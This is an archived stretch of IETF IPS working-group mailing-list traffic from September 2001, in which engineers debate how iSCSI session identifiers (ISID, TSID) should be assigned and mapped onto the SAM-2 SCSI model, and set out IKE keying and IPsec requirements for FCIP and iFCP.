session identifiers, I > didn't pick this > because people felt that there was a legitimate reason to > build multiple > sessions between two portal groups (e.g., in the case where > both initiator > and target have only one HBA (so one portal group) and the > target doesn't > support more than one connection per session, I may want to > build multiple > sessions for extra parallelism, etc.).] > > c) use the model we now use (SCSI Initiator Port = initiator end of > session) but find something other than the ISID to define the > SCSI Port > Name. The only choice seems to be the SSID (=TSID). This > might work more > or less as David outlined. It's a little odd, however, that > the target is > now *assigning* an identifier/name to the SCSI Initiator > Port; that is, the > SCSI Initiator Port doesn't have a name 'all to itself', but > only in the > context of a target. The mind sort of boggles with this (and > it certain > stretches the credibility of the SAM-2 model of SCSI > Initiator Port, Port > Name and Port Identifier). We could instead pick for the SCSI > Initiator > Port Name/identifier the > union of the ipaddresses:tcpports of all the connections > involved in that > session, but I don't think that really gains us anything. > > In short, I don't know what approach to take here. > > We are effectively being constrained by SAM-2's model. We've already > stretched that model a lot by what's currently in the draft. > Summarizing > above, we can either limit our functionality (fewer sessions) > or stretch > the model further by having the target assign names to SCSI Initiator > Ports. > > It's not a good place to be. > > Jim Hafner > > > Black_David@emc.com@ece.cmu.edu on 09/06/2001 02:40:19 pm > > Sent by: owner-ips@ece.cmu.edu > > > To: ips@ece.cmu.edu > cc: > Subject: iSCSI: ISIDs > > > > Time to back up and regroup on this topic. It's clear that ISID > management needs more attention, and hence there are some issues > more basic than the attempted consensus call to work out. So, > I'm going to abandon the attempted consensus call, and try to > make progress on the underlying ISID issue. Those whose posts > have called ISID management into question should not feel it > necessary to apologize - this is an important issue to unscramble. > > A rough summary of where we find ourselves is: > - iSCSI Initiator Names span network interfaces/adapters, > as do iSCSI Target Names. > - Multiple sessions are allowed between an iSCSI Initiator > and Target. These are identified by an ISID and a > TSID. > - The ISID is the Initiator portion of the Session identifier > and is used to track certain resources associated with > the session (e.g., persistent reserves). > - The TSID is the Target portion of the Session identifier, > and serves primarily to make sure that all session > identifiers (SSID = ISID||TSID) are unique at the > Target. > > Michael Schoberg suggest getting rid of the ISID: > > > ISID - initiator-defined session-identifier > > > > Since initiators don't know about other initiators connected to this > target, > > this has the potential of causing problems. Eliminate it. > The initiator > > should simply state it's intentions of establishing a new session or > adding > > a connection to an existing session (via binary flags). > > The implication of this would be to make SSID = TSID, dynamically > assigned by the Target (0 is a reserved value on Login asking Target > to do this assignment), and partitioned appropriately across > interfaces. > Recoverable session resources would be associated with the combination > of at the iSCSI Target, and the initiator > tracks via - in both cases the TSID replaces > the ISID. From a functional standpoint, this looks like it works, > and has the nice additional property that session resources can be > recovered through any iSCSI Initiator interface vs. having to go back > to the one that's allowed to use the ISID for that session if ISIDs > are statically partitioned. > > Does this cause any problems for the SAM-2 to iSCSI mapping? > > Thanks, > --David > > --------------------------------------------------- > David L. Black, Senior Technologist > EMC Corporation, 42 South St., Hopkinton, MA 01748 > +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 > black_david@emc.com Mobile: +1 (978) 394-7754 > --------------------------------------------------- > > > > > From owner-ips@ece.cmu.edu Fri Sep 7 17:22:57 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA28829 for ; Fri, 7 Sep 2001 17:22:56 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87JcVD15157 for ips-outgoing; Fri, 7 Sep 2001 15:38:31 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87JcSP15147 for ; Fri, 7 Sep 2001 15:38:28 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id PAA30996; Fri, 7 Sep 2001 15:36:12 -0400 Received: from d03nm065.boulder.ibm.com (d03nm065.boulder.ibm.com [9.99.140.49]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f87JcQb158762; Fri, 7 Sep 2001 13:38:26 -0600 X-Priority: 1 (High) Importance: Normal Subject: RE: iSCSI: ISIDs To: Black_David@emc.com Cc: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "John Hufferd" Date: Fri, 7 Sep 2001 12:37:45 -0700 X-MIMETrack: Serialize by Router on D03NM065/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/07/2001 01:38:25 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk I overlooked putting the IPS group on my note to David, so let me re-post it with David's reply. David, First, it is not clear that you do not come up with others problems, a full circle tends to do that. I do not see any reason for changing, in the protocol spec., the layout of the TSID. This kind of sounds like an implementation. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Black_David@emc.com on 09/07/2001 11:56:06 AM To: John Hufferd/San Jose/IBM@IBMUS, Black_David@emc.com cc: Subject: RE: iSCSI: ISIDs With the important difference that all of Nick's scenarios in which ISID mismanagement causes disasters are gone, along with any need for a cross portal-group "isid manager". I'll take this sort of simplification and increase in resistance to mistakes any day. Next step will be to divide the 32-bit TSID into an 8 bit target portal group and 24 bit ID within portal so that there's no confusion about where to go to deal with a session. --David > -----Original Message----- > From: John Hufferd [mailto:hufferd@us.ibm.com] > Sent: Friday, September 07, 2001 2:26 PM > To: Black_David@emc.com > Subject: RE: iSCSI: ISIDs > > > > David Said: > "If we want the "Option A" functionality to aggressively > blow away the old session, we'd probably have to add a bit to login > saying "destroy the old session with this TSID (after > checking that the > authentication matches)" in order to distinguish the "error recovery" > vs. "expedited destruction of old session" scenarios." > > The use of this "blow away" bit sounds similar to option B. > This seems to > bring us full circle. > > And the only thing that we solved is how to hand out ISIDs > (by not doing > it). > > > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com > > From owner-ips@ece.cmu.edu Fri Sep 7 17:28:24 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA29068 for ; Fri, 7 Sep 2001 17:28:24 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87KB9U17298 for ips-outgoing; Fri, 7 Sep 2001 16:11:09 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mainserver.surfnetusa.com ([208.201.152.2]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87KB7P17293 for ; Fri, 7 Sep 2001 16:11:07 -0400 (EDT) Received: from adsl-64-166-247-74.dsl.snfc21.pacbell.net (adsl-64-166-247-74.dsl.snfc21.pacbell.net [64.166.247.74]) by mainserver.surfnetusa.com (NTMail 5.06.0016/AX0201.00.06a07d84) with ESMTP id taeyobaa for ips@ece.cmu.edu; Fri, 7 Sep 2001 13:12:18 -0700 Message-ID: <00de01c137da$d3036da0$0101a8c0@pacbell.net> Reply-To: "Margie Way" From: "Margie Way" To: Subject: remove Date: Fri, 7 Sep 2001 13:22:32 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit From owner-ips@ece.cmu.edu Fri Sep 7 17:34:22 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA29193 for ; Fri, 7 Sep 2001 17:34:22 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87Kem319281 for ips-outgoing; Fri, 7 Sep 2001 16:40:48 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mxic1.isus.emc.com ([168.159.129.100]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87KekP19277 for ; Fri, 7 Sep 2001 16:40:46 -0400 (EDT) Received: by mxic1.isus.emc.com with Internet Mail Service (5.5.2653.19) id ; Fri, 7 Sep 2001 16:42:49 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71ECAD71A@CORPMX14> From: Black_David@emc.com To: ips@ece.cmu.edu Subject: FCIP and iFCP Keying Problem Date: Fri, 7 Sep 2001 16:33:58 -0400 Importance: high X-Priority: 1 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Both FCIP and iFCP intend to require: - IKE with pre-shared keys MUST implement - IKE with public-key based keys MAY implement - IKE Main Mode MUST implement - IKE Aggressive Mode MAY implement That's not acceptable because the result of combining the two mandatory (MUST) mechanisms is vulnerable to a man-in-the-middle attack. If IKE with pre-shared keys is "MUST implement" (which makes sense, as it's the simplest IKE authentication mechanism), then: - IKE Aggressive Mode needs to be "MUST implement" - Use of IKE Main Mode with pre-shared keys needs to be "SHOULD NOT use" or "MUST NOT use". Alternatively, if IKE Aggressive Mode remains "MAY implement", then: - IKE with signature authentication based on public keys needs to be "MUST implement" along with some certificate usage guidelines. - Pre-Shared keys needs to be "MAY implement" (can't be any stronger than the requirement for IKE Aggressive Mode). - Use of IKE Main Mode with pre-shared keys needs to be "SHOULD not use" or "MUST not use". Changing IKE to remove the Main Mode vulnerability with pre-shared keys is not a viable approach. Sorry, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Fri Sep 7 17:38:13 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA29274 for ; Fri, 7 Sep 2001 17:38:13 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87KM5r18000 for ips-outgoing; Fri, 7 Sep 2001 16:22:05 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from zcars0m9.ca.nortel.com (h157s242a129n47.user.nortelnetworks.com [47.129.242.157]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87KLvP17992 for ; Fri, 7 Sep 2001 16:21:58 -0400 (EDT) Received: from zcars04f.ca.nortel.com (zcars04f.ca.nortel.com [47.129.242.57]) by zcars0m9.ca.nortel.com (8.11.0/8.11.0) with ESMTP id f87KKxp13944 for ; Fri, 7 Sep 2001 16:20:59 -0400 (EDT) Received: from zbl6c012.corpeast.baynetworks.com by zcars04f.ca.nortel.com; Fri, 7 Sep 2001 16:21:13 -0400 Received: from zbl6c002.corpeast.baynetworks.com ([132.245.205.52]) by zbl6c012.corpeast.baynetworks.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id R5F7BYG4; Fri, 7 Sep 2001 16:21:09 -0400 Received: from travos.nortelnetworks.com (CSE-NS-LAPTOP [47.16.69.109]) by zbl6c002.corpeast.baynetworks.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id RS891ZVM; Fri, 7 Sep 2001 16:21:12 -0400 Message-Id: <5.0.2.1.2.20010907161859.03a1c510@zbl6c002.corpeast.baynetworks.com> X-Sender: travos@zbl6c002.corpeast.baynetworks.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Fri, 07 Sep 2001 16:31:28 -0400 To: ips@ece.cmu.edu From: "Franco Travostino" Subject: iFCP: security position Mime-Version: 1.0 Content-Type: multipart/alternative; boundary="=====================_27088969==_.ALT" X-Orig: Sender: owner-ips@ece.cmu.edu Precedence: bulk --=====================_27088969==_.ALT Content-Type: text/plain; charset="us-ascii"; format=flowed After the interim meeting, we restate our security coordinates in the following terms. Additionally, we have expanded our Irvine slides with rationale text and insights that we learnt at the interim meeting. Such amended slide set is available at ftp://standards.nortelnetworks.com/san/ifcp_security_requirements-v2.pdf Comments most welcome. Keying: IKE Pre-shared keys: MUST implement Signature key authentication: MAY implement Phase-1/Main Mode: MUST implement Phase-1/Aggressive Mode: MAY implement Phase-2/Quick Mode: MUST implement Phase-2/Quick Mode + KE payload: MUST implement Identities are IP addresses in all Phase-1/Phase-2 Modes Integrity MAC: HMAC-SHA1: MUST implement AES (X)CBC MAC: SHOULD implement* Encryption: 3DES CBC: MUST implement AES CTR: SHOULD implement* DES: SHOULD NOT implement NULL: MUST implement Encapsulation Style: Tunnel Mode. (*) IFF there is a Proposed Standard RFC that we can cite by the time we hit Last Call. HMAC-SHA1 and 3DES CBC suit us fine otherwise (as justified in the slides). -franco iFCP Technical Coordinator Franco Travostino, Director Content Internetworking Lab Advanced Technology Investments Nortel Networks, Inc. 600 Technology Park Billerica, MA 01821 USA Tel: 978 288 7708 Fax: 978 288 4690 email: travos@nortelnetworks.com --=====================_27088969==_.ALT Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
After the interim meeting, we restate our security coordinates in the following terms. Additionally, we have expanded our Irvine slides with rationale text and insights that we learnt at the interim meeting. Such amended slide set is available at ftp://standards.nortelnetworks.com/san/ifcp_securi= ty_requirements-v2.pdf Comments most welcome.

Keying: IKE=20
Pre-shared keys: MUST implement=20
Signature key authentication: MAY implement=20
Phase-1/Main Mode: MUST implement=20
Phase-1/Aggressive Mode: MAY implement=20
Phase-2/Quick Mode: MUST= implement           =             &nbs= p;            &n= bsp;            =             &nbs= p;            &n= bsp;            =             &nbs= p;            &n= bsp;            =             &nbs= p;            &n= bsp;            =             &nbs= p;            &n= bsp;            =             &nbs= p;            &n= bsp;            =             &nbs= p;            &n= bsp;            =             &nbs= p;            &n= bsp;            =             &nbs= p;            &n= bsp;            =             &nbs= p;            &n= bsp;            =             &nbs= p;            &n= bsp;            =             &nbs= p;            &n= bsp;            =             &nbs= p;            &n= bsp;            =             &nbs= p;            &n= bsp;            =       Phase-2/Quick Mode + KE payload: MUST= implement=20
Identities are IP addresses in all Phase-1/Phase-2 Modes

Integrity MAC:=20
HMAC-SHA1: MUST implement=20
AES (X)CBC MAC: SHOULD implement*

Encryption: =20
3DES CBC: MUST implement=20
AES CTR: SHOULD implement*=20
DES: SHOULD NOT implement=20
NULL: MUST implement

Encapsulation Style:=20
Tunnel Mode.

(*) IFF there is a Proposed Standard RFC that we can cite by the time= we hit Last Call. HMAC-SHA1 and 3DES CBC suit us fine otherwise (as= justified in the slides).

-franco
iFCP Technical Coordinator


Franco Travostino, Director Content Internetworking Lab
Advanced Technology Investments
Nortel Networks, Inc.
600 Technology Park
Billerica, MA 01821 USA
Tel: 978 288 7708 Fax: 978 288 4690
email: travos@nortelnetworks.com
--=====================_27088969==_.ALT-- From owner-ips@ece.cmu.edu Fri Sep 7 17:59:32 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA29718 for ; Fri, 7 Sep 2001 17:59:32 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87KtaI20243 for ips-outgoing; Fri, 7 Sep 2001 16:55:36 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87KtYP20239 for ; Fri, 7 Sep 2001 16:55:34 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id QAA09706 for ; Fri, 7 Sep 2001 16:53:18 -0400 Received: from d03nm065.boulder.ibm.com (d03nm065.boulder.ibm.com [9.99.140.49]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f87KtWb168916 for ; Fri, 7 Sep 2001 14:55:32 -0600 X-Priority: 1 (High) Importance: Normal To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "John Hufferd" Date: Fri, 7 Sep 2001 13:54:03 -0700 X-MIMETrack: Serialize by Router on D03NM065/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/07/2001 02:55:32 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Let me see if I have everything together in the following regarding the TSID centric assignment of ISID. First Login: 1. Initiator contacts the target with TSID of zero, and ISID of zero 2. Target assigns the SSID by filling in the ISID and its own TSID. 3. Initiator remembers the ISID somehow. 4. If a parallel Session is establish (perhaps under a wedge driver) the same thing will happen -- Initiator sends TSID=0 and ISID=0, except the Target will assign a different ISID, since it is keeping state on the ISIDs it has handed out to a specific iSCSI Initiator Node. This will be a different NEXUS not associated with any other session on that iSCSI Initiator Node. 5. If a Multiple Connection per Session was established, the NON leading connection will have the SSID (with TSID and ISID filled in), and things will continue as currently documented. 6. If the Initiator goes down, and the parallel sessions need to re-establish the NEXUS they come back with the TSID but may or may not have the approprate ISID (if they did not have a way to save it). 6a. If no ISID was used in the Initiator Login, the Target will re-establish a new session. The NEXUS that might have the Persistent Reserves is still bound to the previous Session. 6b. If the New session wants to keep working with the old Persistent Reserves, it needs explicitly blow-away the Reserves and Reclaim them (per normal) using the Persistent Reserves Command Set. 6c. If the ISID had been saved by the Initiator, and a logon is reissued, it can specify the ISID, and NO TSID, and the Target should then know that a new session is starting. The target should match the ISID with any outstanding session it has. That is, the Target should either match it up the ISID with an old session (in some way), and continue, or it should Blow the OLD session away. David suggested a "Blow it away Bit". (This sounds like option A and B all over again.) 6d. If the ISID was saved but it took so long that the Target's session cleanup process, had thrown away the Old session, the Login just continues as it does today. The Initiator Session can not really determine if the session continued, and it has it previous reserves, or if a new session was created without the Reserves. (Potential hitch.) So the Option here is to return an error message if there is no existing session. The Initiator will then need to understand this and somehow cause the reserves to be issued again. (Folks will say, that is what they do anyway so they will always do that, so don't worry about it.) (Comment: This is now starting to get complicated again.) 7. In the case that the Initiator has "lost its way" and want to start again, the initiator will Login with either the current ISID, and TSID =0 or with both =0. 7a. Using the current ISID should cause the Initiator to handle it like 6c above. (Again, it sounds like the A, and B options). 7b. If both ISID and TSID are zero, it looks like 6a above. OK, after looking at the above. It seems to me that we can have this assignment of ISID by the Target System. (It is kind of acting like a third party ISID assigner.) The rest of the documentation should be the same. The issue of Option A or B is still with us. However, the issue of the Rouge Initiator, that can not find its approprate ISID is solved. (Don't you just love the emotive way I put that.) Also the assignment of ISIDs is made easier for some implementations. (However, the approach suggested by Jim Hafner seems simple enough.) Now the discussion should be, did I miss something important, and is the change worth it . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com From owner-ips@ece.cmu.edu Fri Sep 7 19:04:51 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA00892 for ; Fri, 7 Sep 2001 19:04:50 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87LUKo22415 for ips-outgoing; Fri, 7 Sep 2001 17:30:20 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87LUHP22409 for ; Fri, 7 Sep 2001 17:30:17 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id RAA92200 for ; Fri, 7 Sep 2001 17:28:01 -0400 Received: from d03nm065.boulder.ibm.com (d03nm065.boulder.ibm.com [9.99.140.49]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f87LUFZ246864 for ; Fri, 7 Sep 2001 15:30:15 -0600 X-Priority: 1 (High) Importance: Normal Subject: iSCSI:Target Centric ISID assignments To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "John Hufferd" Date: Fri, 7 Sep 2001 14:29:32 -0700 X-MIMETrack: Serialize by Router on D03NM065/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/07/2001 03:30:15 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk (Same note as before with Subject line included.) Let me see if I have everything together in the following regarding the TSID centric assignment of ISID. First Login: 1. Initiator contacts the target with TSID of zero, and ISID of zero 2. Target assigns the SSID by filling in the ISID and its own TSID. 3. Initiator remembers the ISID somehow. 4. If a parallel Session is establish (perhaps under a wedge driver) the same thing will happen -- Initiator sends TSID=0 and ISID=0, except the Target will assign a different ISID, since it is keeping state on the ISIDs it has handed out to a specific iSCSI Initiator Node. This will be a different NEXUS not associated with any other session on that iSCSI Initiator Node. 5. If a Multiple Connection per Session was established, the NON leading connection will have the SSID (with TSID and ISID filled in), and things will continue as currently documented. 6. If the Initiator goes down, and the parallel sessions need to re-establish the NEXUS they come back with the TSID but may or may not have the approprate ISID (if they did not have a way to save it). 6a. If no ISID was used in the Initiator Login, the Target will re-establish a new session. The NEXUS that might have the Persistent Reserves is still bound to the previous Session. 6b. If the New session wants to keep working with the old Persistent Reserves, it needs explicitly blow-away the Reserves and Reclaim them (per normal) using the Persistent Reserves Command Set. 6c. If the ISID had been saved by the Initiator, and a logon is reissued, it can specify the ISID, and NO TSID, and the Target should then know that a new session is starting. The target should match the ISID with any outstanding session it has. That is, the Target should either match it up the ISID with an old session (in some way), and continue, or it should Blow the OLD session away. David suggested a "Blow it away Bit". (This sounds like option A and B all over again.) 6d. If the ISID was saved but it took so long that the Target's session cleanup process, had thrown away the Old session, the Login just continues as it does today. The Initiator Session can not really determine if the session continued, and it has it previous reserves, or if a new session was created without the Reserves. (Potential hitch.) So the Option here is to return an error message if there is no existing session. The Initiator will then need to understand this and somehow cause the reserves to be issued again. (Folks will say, that is what they do anyway so they will always do that, so don't worry about it.) (Comment: This is now starting to get complicated again.) 7. In the case that the Initiator has "lost its way" and want to start again, the initiator will Login with either the current ISID, and TSID =0 or with both =0. 7a. Using the current ISID should cause the Initiator to handle it like 6c above. (Again, it sounds like the A, and B options). 7b. If both ISID and TSID are zero, it looks like 6a above. OK, after looking at the above. It seems to me that we can have this assignment of ISID by the Target System. (It is kind of acting like a third party ISID assigner.) The rest of the documentation should be the same. The issue of Option A or B is still with us. However, the issue of the Rouge Initiator, that can not find its approprate ISID is solved. (Don't you just love the emotive way I put that.) Also the assignment of ISIDs is made easier for some implementations. (However, the approach suggested by Jim Hafner seems simple enough.) Now the discussion should be, did I miss something important, and is the change worth it . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com From owner-ips@ece.cmu.edu Fri Sep 7 19:09:08 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA00985 for ; Fri, 7 Sep 2001 19:09:08 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87M1s324319 for ips-outgoing; Fri, 7 Sep 2001 18:01:54 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail07b.vwh1.net (mail07b.vwh1.net [209.238.9.59]) by ece.cmu.edu (8.11.0/8.10.2) with SMTP id f87M1qP24314 for ; Fri, 7 Sep 2001 18:01:53 -0400 (EDT) Received: from www.platys.com (208.55.89.7) by mail16.vwh1.net (RS ver 1.0.60s) with SMTP id 010413437 for ; Fri, 7 Sep 2001 18:01:38 -0400 (EDT) From: "Srini V.Raman" To: Subject: remove Date: Fri, 7 Sep 2001 15:04:50 -0700 Message-ID: <000e01c137e9$1d405eb0$c4050a0a@yellowstone.stargateip.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 X-Loop-Detect: 1 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit From owner-ips@ece.cmu.edu Fri Sep 7 19:10:11 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA01005 for ; Fri, 7 Sep 2001 19:10:11 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87M4Tc24468 for ips-outgoing; Fri, 7 Sep 2001 18:04:29 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87M4LP24456 for ; Fri, 7 Sep 2001 18:04:21 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id SAA99484; Fri, 7 Sep 2001 18:02:04 -0400 Received: from d03nm042.boulder.ibm.com (d03nm042.boulder.ibm.com [9.99.140.42]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f87M4JZ179894; Fri, 7 Sep 2001 16:04:19 -0600 Importance: Normal Subject: RE: iSCSI: ISIDs To: Black_David@emc.com, ips@ece.cmu.edu From: "Jim Hafner" Date: Fri, 7 Sep 2001 15:04:17 -0700 Message-ID: X-MIMETrack: Serialize by Router on D03NM042/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/07/2001 03:04:19 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk David, Two points. 1) I think there's some confusion on what Michael's suggestion really is. Some seem to think that the idea *replace* the SSID=ISID||TSID with just a 32bit TSID (so there is no ISID component at all). The other is that the target provides SSID but it is still viewed as two components (and each component has some role to play). Can we get this clarified? I was under the assumption that it's the first option here. Your note about 32bit TSID of which part of the name was the portal group tag made me think that you're in the first camp. But your comment below about makes me think you're in the second camp. 2) I don't understand your comment below: > Do we actually need an externally visible identifier for the SCSI >Initiator Port? There's clearly a session endpoint on the Initiator >side that corresponds to the , and the >implementation is clearly able to identify it internally to keep its >sessions straight, and this identification will be (at least implicitly) >visible through a management interface that looks at all the open sessions >on a host or device. In essence, I'm suggesting keeping the current >mapping, but allowing part of the endpoint identifier to not be >visible in the protocol. Where is the ISID coming from (see the question above)? What part of the endpoint identifier is NOT visibile? There are lots of ways for an implementation to identify internally it's sessions, and need not at all rely on any part of the SSID (e.g., my connection structure contains a pointer to an open socket and a pointer to a session structure, so any message on that socket must be related to that session). The point being that my implementation doesn't have to care at all about SSID. Nobody has really asked for an 'externally visible identifier' for the SCSI Initiator Port (at least I don't think I have directly). What I'm looking for is the thing the SCSI device server (implicitly) uses to identify the "I" in the I_T nexus. Up till now, SCSI/SAM has had a static hardware identifier for that thing (parallel bus address, the FC nodename, etc.) because there was a hardware component on which to bind the SCSI Initiator Port. So, that name/identifier was an inherent component of the SCSI Initiator Port implementation that was propogated *from the intiator side to the target side* in protocol specific ways. My model(c) and what I think you're suggesting says that we're allowing the iSCSI target to pass to the iSCSI initiator the 'name' that the constructed SCSI Initiator Port will/shall/must use. So, the naming authority is not on the initiator side and the name doesn't flow from the initiator to the target, but is reversed in both cases. It's not "my name is Bob!", it's "who do you want *me* to be today?" (to paraphrase Oingo-Boingo). So, what I said was that this 'might work' but I think it stretches the SAM model in ways that haven't been explored yet. A property of the just defined (by T10) SCSI Port Name is that it is (a) world wide unique (within the protocol) AND (b) that it is persistent. So, if two different iSCSI targets choose the same TSID=SSID for their sessions with a given iSCSI initiator, they have both 'implicitly' connected to the same 'I' in the I_T1, I_T2 nexus. Does that make sense? Also, it means that for all possible TSID=SSIDs there is an implicit (sleeping) SCSI Initiator Port waiting to be awoken. That's also true in the current model with ISID generated by the initiator, however, the difference is that the initiator wakes up the sleeping SCSI Port by first use of the ISID value in the login. In this new approach, the port isn't woken up until the target sends back the TSID (in effect, the TSID in the response can be viewed as a 'request to wake up that partial SCSI Initiator Port'). As I said, it might work, but it certainly has odd implications. I'm more comfortable with the current model (and I think all the ISID partitioning issues are just a matter of convention), however, I don't have (as I said) a strong argument against the new one. It just "feels funny". Jim Hafner Black_David@emc.com on 09/07/2001 10:48:22 am To: Jim Hafner/Almaden/IBM@IBMUS, ips@ece.cmu.edu cc: 